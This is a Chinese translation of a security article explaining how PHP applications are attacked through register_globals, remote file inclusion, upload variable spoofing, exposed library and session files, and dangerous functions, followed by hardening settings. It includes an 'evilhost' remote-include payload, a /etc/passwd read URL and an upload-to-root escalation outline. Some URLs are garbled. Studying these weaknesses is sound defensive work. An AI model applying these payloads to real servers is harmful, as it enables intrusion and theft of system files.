如何對PHP程式中的常見漏洞進行攻擊

來源:Chinaasp
之所以翻譯這篇文章，是因為目前關於CGI安全性的文章都是拿Perl作為例子，而專門介紹ASP，PHP或者JSP安全性的文章則很少。Shaun Clowes的這篇文章比較全面地介紹了PHP的安全問題，原文可以在http://www.securereality.com.au/stu...arlet.txt找到。

由於原文比較長，而且有相當一部分是介紹文章的背景或PHP的基礎知識，沒有涉及到PHP安全方面的內容，因此我沒有翻譯。如果你想瞭解這方面的知識，請參考原文。

文章主要從全域變數，遠程檔案，檔案上傳，庫檔案，Session檔案，資料類型和容易出錯的函數這幾個方面分析了PHP的安全性，並且對如何增強PHP的安全性提出了一些有用的建議。

好了，廢話少說，我們言歸正傳！

[全域變數]
PHP中的變數不需要事先聲明，它們會在第一次使用時自動建立，它們的類型也不需要指定，它們會根據上下文環境自動確定。從程式員的角度來看，這無疑是一種極其方便的處理方法。很顯然，這也是快速開發語言的一個很有用的特點。一旦一個變數被建立了，就可以在程式中的任何地方使用。這個特點導致的結果就是程式員很少初始設定變數，畢竟，當它們第一次建立時，他們是空的。

很顯然，基於PHP的應用程式的主函數一般都是接受使用者的輸入（主要是表單變數，上傳檔案和Cookie等），然後對輸入資料進行處理，然後把結果返回到用戶端瀏覽器。為了使PHP代碼訪問使用者的輸入儘可能容易，實際上PHP是把這些輸入資料看作全域變數來處理的。

例如：

<FORM METHOD="GET" ACTION="test.php">
<INPUT TYPE="TEXT" NAME="hello">
<INPUT TYPE="SUBMIT">
</FORM>

很顯然，這會顯示一個文字框和提交按鈕。當使用者點擊提交按鈕時，“test.php”會處理使用者的輸入，當“test.php”運行時，“$hello”會包含使用者在文字框輸入的資料。從這裡我們應該看出，攻擊者可以按照自己的意願建立任意的全域變數。如果攻擊者不是通過表單輸入來調用“test.php”，而是直接在瀏覽器地址欄輸入http://server/test.php?hello=hi&set...敲矗恢故恰?/a>$hello”被建立，“$setup”也被建立了。

譯者註：這兩種方法也就是我們通常說的“POST”和“GET”方法。
下面的使用者認證代碼暴露了PHP的全域變數所導致的安全問題：

<?php
if ($pass == "hello")
$auth = 1;
...
if ($auth == 1)
echo "some important information";
?>

上面的代碼首先檢查使用者的密碼是否為“hello”，如果匹配的話，設定“$auth”為“1”，即通過認證。之後如果“$suth”為“1”的話，就會顯示一些重要訊息。

表面看起來是正確的，而且我們中有相當一部分人是這樣做的，但是這段代碼犯了想當然的錯誤，它假定“$auth”在沒有設定值的時候是空的，卻沒有想到攻擊者可以建立任何全域變數並賦值，通過類似“http://server/test.php?auth=1”的方...且丫現す摹?/a>

因此，為了提高PHP程式的安全性，我們不能相信任何沒有明確定義的變數。如果程式中的變數很多的話，這可是一項非常艱巨的任務。

一種常用的保護方式就是檢查數組HTTP_GET[]或POST_VARS[]中的變數，這依賴於我們的提交方式（GET或POST）。當PHP配置為開啟“track_vars”選項的話（這是預設值），使用者提交的變數就可以在全域變數和上面提到的數組中獲得。

但是值得說明的是，PHP有四個不同的陣列變數用來處理使用者的輸入。HTTP_GET_VARS數組用來處理GET方式提交的變數，HTTP_POST_VARS數組用於處理POST方式提交的變數，HTTP_COOKIE_VARS數組用於處理作為cookie頭提交的變數，而對於HTTP_POST_FILES數組（比較新的PHP才提供），則完全是使用者用來提交變數的一種可選方式。使用者的一個請求可以很容易的把變數存在這四個數組中，因此一個安全的PHP程式應該檢查這四個數組。

[遠程檔案]
PHP是一種具有豐富特性的語言，提供了大量的函數，使編程者實現某個功能很容易。但是從安全的角度來看，功能越多，要保證它的安全性就越難，遠程檔案就是說明這個問題的一個很好的例子：

<?php
if (!($fd = fopen("$filename", "r"))
echo("Could not open file: $filename<BR>n");
?>

上面的指令碼試圖開啟檔案“$filename”，如果失敗就顯示錯誤資訊。很明顯，如果我們能夠指定“$filename”的話，就能利用這個指令碼瀏覽系統中的任何檔案。但是，這個指令碼還存在一個不太明顯的特性，那就是它可以從任何其它WEB或FTP網站讀取檔案。實際上，PHP的大多數檔案處理函數對遠程檔案的處理是透明的。

例如：
如果指定“$filename”為“http://target/scripts/..%c1%1c../wi...md.exe?/c+dir”
則上面的代碼實際上是利用主機target上的unicode漏洞，執行了dir命令。

這使得支援遠程檔案的include()，require()，include_once()和require_once()在上下文環境中變得更有趣。這些函數主要功能是包含指定檔案的內容，並且把它們按照PHP代碼解釋，主要是用在庫檔案上。

例如：
<?php
include($libdir . "/languages.php");
?>

上例中“$libdir”一般是一個在執行代碼前已經設定好的路徑，如果攻擊者能夠使得“$libdir”沒有被設定的話，那麼他就可以改變這個路徑。但是攻擊者並不能做任何事情，因為他們只能在他們指定的路徑中訪問檔案languages.php（perl中的“Poison null byte”攻擊對PHP沒有作用）。但是由於有了對遠程檔案的支援，攻擊者就可以做任何事情。例如，攻擊者可以在某台伺服器上放一個檔案languages.php，包含如下內容：

<?php
passthru("/bin/ls /etc");
?>

然後把“$libdir”設定為“http://<evilhost>/”，這樣我們就可以在目標主機上執行上面的攻擊代碼，“/etc”目錄的內容作為結果返回到客戶的瀏覽器中。

需要注意的是，攻擊伺服器（也就是evilhost）應該不能執行PHP代碼，否則攻擊代碼會在攻擊伺服器，而不是目標伺服器執行，如果你想瞭解具體的技術細節，請參考：http://www.securereality.com.au/sradv00006.txt

[檔案上傳]
PHP自動支援基於RFC 1867的檔案上傳，我們看下面的例子：

<FORM METHOD="POST" ENCTYPE="multipart/form-data">
<INPUT TYPE="FILE" NAME="hello">
<INPUT TYPE="HIDDEN" NAME="MAX_FILE_SIZE" VALUE="10240">
<INPUT TYPE="SUBMIT">
</FORM>

上面的代碼讓使用者從本地機器選擇一個檔案，當點擊提交後，檔案就會被上傳到伺服器。這顯然是很有用的功能，但是PHP的回應程式式使這項功能變的不安全。當PHP第一次接到這種請求，甚至在它開始解析被調用的PHP代碼之前，它會先接受遠端使用者的檔案，檢查檔案的長度是否超過“$MAX_FILE_SIZE variable”定義的值，如果通過這些測試的話，檔案就會被存在本地的一個臨時目錄中。

因此，攻擊者可以發送任意檔案給運行PHP的主機，在PHP程式還沒有決定是否接受檔案上傳時，檔案已經被存在伺服器上了。

這裡我就不討論利用檔案上傳來對伺服器進行DOS攻擊的可能性了。

讓我們考慮一下處理檔案上傳的PHP程式，正如我們上面說的，檔案被接收並且存在伺服器上（位置是在設定檔中指定的，一般是/tmp），副檔名一般是隨機的，類似“phpxXuoXG”的形式。PHP程式需要上傳檔案的資訊以便處理它，這可以通過兩種方式，一種方式是在PHP 3中已經使用的，另一種是在我們對以前的方法提出資訊安全諮詢後引入的。

但是，我們可以肯定的說，問題還是存在的，大多數PHP程式還是使用老的方式來處理上傳檔案。PHP設定了四個全域變數來描述上傳檔案，比如說上面的例子：

$hello = Filename on local machine (e.g "/tmp/phpxXuoXG")
$hello_size = Size in bytes of file (e.g 1024)
$hello_name = The original name of the file on the remote system (e.g "c:\temp\hello.txt")
$hello_type = Mime type of uploaded file (e.g "text/plain")

然後PHP程式開始處理根據“$hello”指定的檔案，問題在於“$hello”不一定是一個PHP設定的變數，任何遠端使用者都可以指定它。如果我們使用下面的方式：

http://vulnhost/vuln.php?hello=/etc..._name=hello.txt

就導致了下面的PHP全域變數（當然POST方式也可以（甚至是Cookie））：

$hello = "/etc/passwd"
$hello_size = 10240
$hello_type = "text/plain"
$hello_name = "hello.txt"

上面的表單資料正好滿足了PHP程式所期望的變數，但是這時PHP程式不再處理上傳的檔案，而是處理“/etc/passwd”（通常會導致內容暴露）。這種攻擊可以用於暴露任何敏感檔案的內容。

我在前面已經說了，新版本的PHP使用HTTP_POST_FILES[]來決定上傳檔案，同時也提供了很多函數來解決這個問題，例如有一個函數用來判斷某個檔案是不是實際上傳的檔案。這些函數很好的解決了這個問題，但是實際上肯定有很多PHP程式仍然使用舊的方法，很容易受到這種攻擊。

作為檔案上傳的攻擊方法的一個變種，我們看一下下面的一段代碼：

<?php
if (file_exists($theme)) // Checks the file exists on the local system (no remote files)
include("$theme");
?>

如果攻擊者可以控制“$theme”的話，很顯然它可以利用“$theme”來讀取遠程系統上的任何檔案。攻擊者的最終目標是在遠程伺服器上執行任意指令，但是他無法使用遠程檔案，因此，他必須得在遠程伺服器上建立一個PHP檔案。這乍看起來好象是不可能的，但是檔案上傳幫了我們這個忙，如果攻擊者先在本地機器上建立一個包含PHP代碼的檔案，然後建立一個包含名為“theme”的檔案域的表單，最後用這個表單通過檔案上傳把建立的包含PHP代碼的檔案提交給上面的代碼，PHP就會把攻擊者提交的檔案儲存起來，並把“$theme”的值設定為攻擊者提交的檔案，這樣file_exists()函數會檢查通過，攻擊者的代碼也將執行。

獲得執行任意指令的能力之後，攻擊者顯然想提升許可權或者是擴大戰果，而這又需要一些伺服器上沒有的工具集，而檔案上傳又一次幫了我們這個忙。攻擊者可以使用檔案上傳功能上傳工具，把她們存在伺服器上，然後利用他們執行指令的能力，使用chmod()改變檔案的許可權，然後執行。例如：攻擊者可以繞過防火牆或IDS上傳一個本地root攻擊程式，然後執行，這樣就獲得了root許可權。

[庫檔案]
正如我們前面討論的那樣，include()和require()主要是為了支援程式碼程式庫，因為我們一般是把一些經常使用的函數放到一個獨立的檔案中，這個獨立的檔案就是程式碼程式庫，當需要使用其中的函數時，我們只要把這個程式碼程式庫包含到當前的檔案中就可以了。

最初，人們開發和發布PHP程式的時候，為了區別程式碼程式庫和主程式碼，一般是為程式碼程式庫檔案設定一個“.inc”的副檔名，但是他們很快發現這是一個錯誤，因為這樣的檔案無法被PHP解譯器正確解析為PHP代碼。如果我們直接請求伺服器上的這種檔案時，我們就會得到該檔案的原始碼，這是因為當把PHP作為Apache的模組使用時，PHP解譯器是根據檔案的副檔名來決定是否解析為PHP代碼的。副檔名是網站管理員指定的，一般是“.php”， “.php3”和“.php4”。如果重要的配置資料被包含在沒有合適的副檔名的PHP檔案中，那麼遠程攻擊者很容易得到這些資訊。

最簡單的解決方案就是給每個檔案都指定一個PHP檔案的副檔名，這樣可以很好的防止泄露原始碼的問題，但是又產生了新的問題，通過請求這個檔案，攻擊者可能使本該在上下文環境中啟動並執行代碼獨立運行，這可能導致前面討論的全部攻擊。

下面是一個很明顯的例子：

In main.php:
<?php
$libDir = "/libdir";
$langDir = "$libdir/languages";

...

include("$libdir/loadlanguage.php":
?>

In libdir/loadlanguage.php:
<?php
...

include("$langDir/$userLang");
?>

當“libdir/loadlanguage.php”被“main.php”調用時是相當安全的，但是因為“libdir/loadlanguage”具有“.php”的副檔名，因此遠程攻擊者可以直接請求這個檔案，並且可以任意指定“$langDir”和“$userLang”的值。
[Session檔案]
PHP 4或更新的版本提供了對sessions的支援，它的主要作用是在PHP程式中儲存頁與頁之間的狀態資訊。例如，當一個使用者登陸進入網站，他登陸了這個事實以及誰登陸進入這個網站都被儲存在session中，當他在網站中到處瀏覽時，所有的PHP代碼都可以獲得這些狀態資訊。

事實上，當一個session啟動時（實際上是在設定檔中設定為在第一次請求時自動啟動），就會產生一個隨機的“session id”，如果遠程瀏覽器總是在發送請求時提交這個“session id”的話，session就會一直保持。這通過Cookie很容易實現，也可以通過在每頁提交一個表單變數（包含“session id”）來實現。PHP程式可以用session註冊一個特殊的變數，它的值會在每個PHP指令碼結束後存在session檔案中，也會在每個PHP指令碼開始前載入到變數中。下面是一個簡單的例子：

<?php
session_destroy(); // Kill any data currently in the session
$session_auth = "shaun";
session_register("session_auth"); // Register $session_auth as a session variable
?>

新版本的PHP都會自動把“$session_auth”的值設定為“shaun”，如果它們被修改的話，以後的指令碼都會自動接受修改後的值，這對無狀態的Web來說的確是種很不錯的工具，但是我們也應該小心。

一個很明顯的問題就是確保變數的確來自session，例如，給定上面的代碼，如果後續的指令碼是下面這樣的話：

<?php
if (!empty($session_auth))
// Grant access to site here
?>

上面的代碼假定如果“$session_auth”被置位的話，就是從session，而不是從使用者輸入來置位的，如果攻擊者通過表單輸入來置位的話，他就可以獲得對網站的訪問權。注意攻擊者必須在session註冊該變數之前使用這種攻擊方法，一旦變數被放進了session，就會覆蓋任何錶單輸入。

Session資料一般是儲存在檔案中（位置是可配置的，一般是“/tmp”），檔案名稱一般是類似“sess_<session id>”的形式，這個檔案包含變數名稱，變數類型，變數值和一些其它的資料。在多主機系統中，因為檔案是以運行Web伺服器的使用者身份（一般是nobody）儲存的，因此惡意的網站擁有者就可以通過建立一個session檔案來獲得對其它網站的訪問，甚至可以檢查session檔案中的敏感資訊。

Session機制也為攻擊者把自己的輸入儲存在遠程系統的檔案中提供了另一個方便的地方，對於上面的例子來說，攻擊者需要在遠程系統放置一個包含PHP代碼的檔案，如果不能利用檔案上傳做到的話，他通常會利用session為一個變數按照自己的意願賦一個值，然後猜測session檔案的位置，而他知道檔案名稱是“php<session id>”，所以只需猜測目錄，而目錄一般就是“/tmp”。

另外，攻擊者可以任意指定“session id”（例如“hello”），然後用這個“session id”建立一個session檔案（例如“/tmp/sess_hello”），但是“session id”只能是字母和數字組合。

[資料類型]
PHP具有比較鬆散的資料類型，變數的類型依賴於它們所處的上下文環境。例如：“$hello”開始是字串變數，值為“”，但是在求值時，就變成了整形變數“0”，這有時可能會導致一些意想不到的結果。如果“$hello”的值為“000”還是為“0”是不同的，empty()返回的結果也不會為真。

PHP中的數組是關聯陣列，也就是說，數組的索引是字串型的。這意味著“$hello["000"]”和“$hello[0]”也是不同的。

開發程式的時候應該仔細地考慮上面的問題，例如，我們不應該在一個地方測試某個變數是否為“0”，而在另外的地方使用empty()來驗證。

[容易出錯的函數]
我們在分析PHP程式中的漏洞時，如果能夠拿到原始碼的話，那麼一份容易出錯的函數列表則是我們非常需要的。如果我們能夠遠程改變這些函數的參數的話，那麼我們就很可能發現其中的漏洞。下面是一份比較詳細的容易出錯的函數列表：

<PHP代碼執行>
require()：讀取指定檔案的內容並且作為PHP代碼解釋
include()：同上
eval()：把給定的字串作為PHP代碼執行
preg_replace()：當與“/e”開關一起使用時，替換字串將被解釋為PHP代碼

<命令執行>
exec()：執行指定的命令，返回執行結果的最後一行
passthru()：執行指定命令，返回所有結果到客戶瀏覽器
``：執行指定命令，返回所有結果到一個數組
system()：同passthru()，但是不處理位元據
popen()：執行指定的命令，把輸入或輸出串連到PHP檔案描述符

<檔案泄露>
fopen()：開啟檔案，並對應一個PHP檔案描述符
readfile()：讀取檔案的內容，然後輸出到客戶瀏覽器
file()：把整個檔案內容讀到一個數組中

譯者註：其實這份列表還不是很全，比如“mail()”等命令也可能執行命令，所以需要自己補充一下。
[如何增強PHP的安全性]
我在上面介紹的所有攻擊對於預設安裝的PHP 4都可以很好的實現，但是我已經重複了很多次，PHP的配置非常靈活，通過配置一些PHP選項，我們完全可能抵抗其中的一些攻擊。下面我按照實現的難度對一些配置進行了分類：

*低難度
**中低難度
***中高難度
****高難度

上面的分類只是個人的看法，但是我可以保證，如果你使用了PHP提供的所有選項的話，那麼你的PHP將是很安全的，即使是第三方的代碼也是如此，因為其中很多功能已經不能使用。

**** 設定“register_globals”為“off”
這個選項會禁止PHP為使用者輸入建立全域變數，也就是說，如果使用者提交表單變數“hello”，PHP不會建立“$ hello”，而只會建立“HTTP_GET/POST_VARS['hello']”。這是PHP中一個極其重要的選項，關閉這個選項，會給編程帶來很大的不便。

*** 設定“safe_mode”為“on”
開啟這個選項，會增加如下限制：
1． 限制哪個命令可以被執行
2． 限制哪個函數可以被使用
3． 基於指令碼所有權和目標檔案所有權的檔案訪問限制
4． 禁止檔案上傳功能
這對於ISP來說是一個偉大的選項，同時它也能極大地改進PHP的安全性。

** 設定“open_basedir”
這個選項可以禁止指定目錄之外的檔案操作，有效地消除了本地檔案或者是遠程檔案被include()的攻擊，但是仍需要注意檔案上傳和session檔案的攻擊。

** 設定“display_errors”為“off”，設定“log_errors”為“on”
這個選項禁止把錯誤資訊顯示在網頁中，而是記錄到記錄檔中，這可以有效抵制攻擊者對目標指令碼中函數的探測。

* 設定“allow_url_fopen”為“off”
這個選項可以禁止遠程檔案功能，極力推薦！